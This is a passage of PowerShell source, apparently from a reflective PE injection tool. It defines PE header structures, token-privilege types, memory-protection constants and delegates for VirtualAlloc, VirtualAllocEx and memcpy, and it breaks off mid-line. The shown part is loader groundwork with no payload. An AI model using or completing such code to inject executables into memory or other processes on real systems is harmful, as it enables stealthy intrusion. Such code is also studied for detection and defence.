$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null - $SubSystemType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType - - #Enum DllCharacteristicsType - $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null - $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null - $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null - $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null - $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null - $DllCharacteristicsType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType - - ########### STRUCT ########### - #Struct IMAGE_DATA_DIRECTORY - $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) - ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null - ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null - $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY - - #Struct IMAGE_FILE_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) - $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null - $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER - - #Struct IMAGE_OPTIONAL_HEADER64 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) - ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null - ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null - ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null - ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null - ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null - ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null - ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null - ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null - ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null - ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null - ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null - ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null - ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null - ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null - ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null - ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null - ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null - ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null - ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null - ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null - ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null - ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null - ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null - ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null - ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null - ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null - ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null - ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null - ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null - ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null - ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null - ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null - ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null - ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null - ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null - ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null - ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null - ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null - ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null - ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null - $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 - - #Struct IMAGE_OPTIONAL_HEADER32 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) - ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null - ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null - ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null - ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null - ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null - ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null - ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null - ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null - ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null - ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null - ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null - ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null - ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null - ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null - ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null - ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null - ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null - ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null - ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null - ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null - ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null - ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null - ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null - ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null - ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null - ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null - ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null - ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null - ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null - ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null - ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null - ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null - ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null - ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null - ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null - ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null - ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null - ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null - ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null - ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null - ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null - $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 - - #Struct IMAGE_NT_HEADERS64 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) - $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null - $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null - $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 - - #Struct IMAGE_NT_HEADERS32 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) - $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null - $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null - $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 - - #Struct IMAGE_DOS_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) - $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null - - $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') - $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray - $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) - $e_resField.SetCustomAttribute($AttribBuilder) - - $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null - - $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') - $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) - $e_res2Field.SetCustomAttribute($AttribBuilder) - - $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null - $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER - - #Struct IMAGE_SECTION_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) - - $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') - $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) - $nameField.SetCustomAttribute($AttribBuilder) - - $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null - $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER - - #Struct IMAGE_BASE_RELOCATION - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) - $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null - $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION - - #Struct IMAGE_IMPORT_DESCRIPTOR - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) - $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null - $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR - - #Struct IMAGE_EXPORT_DIRECTORY - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) - $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null - $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY - - #Struct LUID - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) - $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null - $LUID = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID - - #Struct LUID_AND_ATTRIBUTES - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) - $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null - $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES - - #Struct TOKEN_PRIVILEGES - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) - $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null - $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES - - return $Win32Types - } - - Function Get-Win32Constants - { - $Win32Constants = New-Object System.Object - - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 - $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 - $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 - $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 - $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 - $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 - $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 - $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 - - return $Win32Constants - } - - Function Get-Win32Functions - { - $Win32Functions = New-Object System.Object - - $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc - $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc - - $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx - $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) - $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx - - $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy - $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) - $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy - - $memsetAddr = Get-ProcAddress msvcrt.dll memset - $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) - $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name memset 